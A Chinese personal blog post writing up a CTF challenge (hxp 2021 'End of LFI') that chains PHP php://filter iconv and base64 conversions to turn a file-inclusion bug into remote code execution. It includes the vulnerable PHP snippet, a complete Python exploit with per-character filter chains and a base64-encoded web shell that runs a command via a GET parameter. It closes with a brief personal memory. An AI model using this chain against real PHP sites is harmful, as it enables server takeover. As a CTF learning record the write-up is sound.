今天学到了个有意思的东西 记录下 虽然一般用不上
《如何不利用可控文件来进行LFI rce》参考了hxp CTF 2021 - The End Of LFI? - 跳跳糖
前置知识
在 PHP 中,我们可以利用 PHP Base64 Filter 宽松的解析,通过 iconv filter 等编码组合构造特定字母,从而构造出特定的 PHP 代码进而完成无需临时文件的 RCE 。
iconv convert.iconv. 过滤器
convert.iconv.A.B
表示把流从编码 A 转换到编码 B。- 不同编码之间转换会产生不同的字节序列,某些状态式编码(如 ISO-2022 系列,见下文)会插入控制序列(如 ESC …)以切换字符集。
base64解码特点
会忽略除了base64中那64个字符的其他字符,只处理那64个字符。即使我们使用其他字符编码产生了不可见字符,我们也可以利用 convert.base64-decode
来去掉不属于 Base64 字符集的字符,留下我们想要的字符。
例如:
convert.iconv.UTF8.CSISO2022KR
(某一种iconv),每次经过它的处理,字符串的首部都会产生\x1b$)C
,可以发现这4个字符中只有字符C属于Base64规则的64个字母,再进行一次base64-decode然后再base64-encode之后,就只剩下字符C了!相当于创造了一个字符((
ISO-2022-KR
- ISO-2022 系列编码是一类“转义式多字节编码”,通过 ESC 转义序列(
\x1b ...
)在不同字符集之间切换。 - ISO-2022-KR 专门用于韩文,它的特点是:
- 默认 ASCII 模式
- 如果遇到
\x1b$)C
(ESC +$)C
),就切换到韩文字符集编码模式。
也就是说,这种编码在输出时会产生特定的字节序列(比如 \x1b$)C
),类似于一个“开关”,放在每轮iconv转换输出的最前面,保证后续的字节都在期待的模式下被正确地产生和解释(后面的滤镜会按照 ISO-2022-KR 方式造字节)
举个例子,数字字符8的生成:
ISO-2022-KR 使用 convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2
来生成8
不是直接写 8,而是调用这串编码转换 filter,让 PHP 自己在文件写入过程中生成 8!
$url = "php://filter/";
$url = $url."convert.iconv.UTF8.CSISO2022KR";
$url = $url."|convert.base64-decode|convert.base64-encode|";
$url .= "convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2";
// $url = $url."|convert.base64-decode|convert.base64-encode";
$url .= "/resource=data://,aaaaaaaaaaaaaa";
//这里为什么是data,后续会说
//为什么要加一堆 a:
//1. 保证前面那编码链有数据可以操作,不会直接把 payload 吃掉。
//2. 让有效的payload而不会因为数据太短而丢失。有点像填充 NOP-sled 的感觉,作用是对齐/防丢失。
var_dump(file_get_contents($url));
// hexdump
// 00000000 73 74 72 69 6e 67 28 35 32 29 20 22 38 01 fe 00 |string(52) "8...|
// 00000010 43 00 00 00 61 00 00 00 61 00 00 00 61 00 00 00 |C...a...a...a...|
// 00000020 61 00 00 00 61 00 00 00 61 00 00 00 61 00 00 00 |a...a...a...a...|
// *
// 00000040 22 0a |".|
// 起用了注释那一行后,即还原到 Base64 之后的 hexdump:
// 00000000 73 74 72 69 6e 67 28 31 32 29 20 22 38 43 61 61 |string(12) "8Caa|
// 00000010 61 61 61 61 61 61 61 61 22 0a |aaaaaaaa".|
(我在php7尝试才能成功)这告诉我们最后要加上"|convert.base64-decode|convert.base64-encode"
,让编码转换的产物落在一个“可控”的区间,不会因为 ISO-2022-KR 的特殊 escape 机制把字节流搞乱~
本题思路
打开网页是空白,应该直接传payload就行。题目附件index.php
<?php
($_GET['action'] ?? 'read') === 'read'
? readfile($_GET['file'] ?? 'index.php')
: include_once($_GET['file'] ?? '');
<?php ($_GET['action'] ?? 'read' ) === 'read' ? readfile($_GET['file'] ?? 'index.php') : include_once($_GET['file'] ?? 'index.php');
我们没有可以写的文件,没有现成的可以利用的执行文件,所以我们利用include_once
,传入action(action!=read)和file参数
看看常见的协议如何利用,已知data://
协议是可以直接内联数据当作文件的,例如include("data://text/plain,<?php system('id');?>");
,再搭配filter过滤器
结合上文,利用iconv filter 等编码组合构造“文件”,本体思路如下:
「include_once + filter过滤器 (结合iconv ISO-2022-KR 特性) 来构造特定字符 + data:// 协议内联数据」
学习网上大佬的exp,这里为了发包改成了python :
作者精心挑选了 字符映射链,保证每一步输入都是下一个编码器能接受的
import requests
import sys
sys.stdout.reconfigure(encoding='utf-8')
url = "http://node4.anna.nssctf.cn:28929"
file_to_use = "/etc/passwd"
command = "/readflag"
#两个分号避开了最终 base64 编码中的斜杠
#<?=`$_GET[0]`;;?>
base64_payload = "PD89YCRfR0VUWzBdYDs7Pz4"
#以下生成payload需要的每个字母
conversions = {
'R': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2',
'B': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2',
'C': 'convert.iconv.UTF8.CSISO2022KR',
'8': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2',
'9': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB',
'f': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213',
's': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61',
'z': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS',
'U': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932',
'P': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213',
'V': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5',
'0': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',
'Y': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2',
'W': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2',
'd': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2',
'D': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2',
'7': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2',
'4': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2'
}
filters = "convert.iconv.UTF8.CSISO2022KR|"
filters += "convert.base64-encode|"
filters += "convert.iconv.UTF8.UTF7|"
#这一步convert.iconv.UTF8.UTF7单纯的防止=的干扰
#注意。因为生成过程会把新产出的字符放在输出前面,所以先反转以便最终顺序正确
for c in base64_payload[::-1]:
filters += conversions[c] + "|"
filters += "convert.base64-decode|"
#解码和重新编码以排除所有无效的 base64
filters += "convert.base64-encode|"
filters += "convert.iconv.UTF8.UTF7|"
filters += "convert.base64-decode"
final_payload = f"php://filter/{filters}/resource={file_to_use}"
r = requests.get(url, params={
"0": command,
"action":"include",
"file": final_payload
})
# print(filters)
#print(final_payload)
print(r.text)
会收获flag和一堆乱码
配图是那云,想念在老家天天去度假村泳池游泳的日子了。晒了一天太阳水温暖暖的,像泡温泉一样舒服,回家的路上和妈妈开着车窗听歌,吹风,一路上人都很轻盈
Comments NOTHING